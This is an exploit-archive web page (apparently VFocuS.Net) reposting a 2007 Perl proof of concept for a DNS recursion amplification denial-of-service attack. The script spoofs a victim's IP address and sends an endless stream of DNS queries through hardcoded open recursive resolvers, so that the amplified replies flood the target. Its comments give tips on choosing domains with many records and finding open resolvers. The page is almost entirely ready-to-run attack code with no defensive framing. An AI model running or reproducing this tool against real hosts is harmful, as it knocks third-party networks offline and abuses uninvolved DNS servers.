首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DNS Recursion bandwidth amplification Denial of Service PoC
来源:chemshadow@gmail.com 作者:Shadow 发布时间:2007-10-24  
#!/usr/bin/perl
# Get Net::RawIP at http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, as well.
# PS: To see if you can spoof, check out the ANA Spoofer project.
# http://spoofer.csail.mit.edu/
#
# Written by Shadow
# irc.dark-irc.net #thecorpz
# chemshadow@gmail.com

use Net::DNS::Resolver;
use Net::RawIP;
use strict;

# Populate this list with domain names with lots of A records. IRC server DNS pools are a good place to look.
# Maybe get a cheap throwaway domain and add your own A records.
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", "irc.freenode.net");
my $names = "3"; #number of entries in @name, minus one.

# Populate this list with ONLY open, recursive dns servers.
# http://www.dnsstuff.com/ - Block their cookies to use the site w/o paying.
my $nameservers;
my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", "200.255.59.150") #4 entries.

my $reflectors = "3"; # Number of entries in @nameservers, minus one.
my $debug = 1; # Change to 0 if you don't wanna have your console flooded.

##########################
# END USER CONFIGURATION #
##########################

my $str;
my $name;
my $src_ip;
my $reflector;
$src_ip = $ARGV[0];

if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); }
print ("Hitting $ARGV[0]\n");

for (my $i=0; $i < 256; $i++) {
    # Make DNS packet
    my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    # send packet
    $str = @name[int rand($names)];                            # Select entry from @name
    $reflector = $nameservers[int rand($reflectors)];          # Select entry from @nameservers
    $sock->set({ip => {
                saddr => $src_ip, daddr => "$reflector", frag_off=>0,tos=>0,id=>1565},
                udp => {source => 53,
                dest => 53, data=>$dnsdata
                } });
    $sock->send;
    if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . ")" . " -> " . $src_ip . " \n"; }
    $i = 0;
}
exit(0);

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox <= 2.0.0.7 Rem
·Oracle 10g CTX_DOC.MARKUP SQL
·PHP 5.x COM functions safe_mod
·eIQnetworks ESA SEARCHREPORT R
·Apache Tomcat (webdav) Remote
·Jakarta Slide <= 2.1 RC1 Remot
·BBPortalS <= 2.0 Remote Blind
·IBM Tivoli Storage Manager 5.3
·Vanilla <= 1.1.3 Remote Blind
·IBM Lotus Domino 7.0.2FP1 IMAP
·SMF 1.1.3 Extremely fast Blind
·GOM Player 2.1.6.3499 (GomWeb3
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved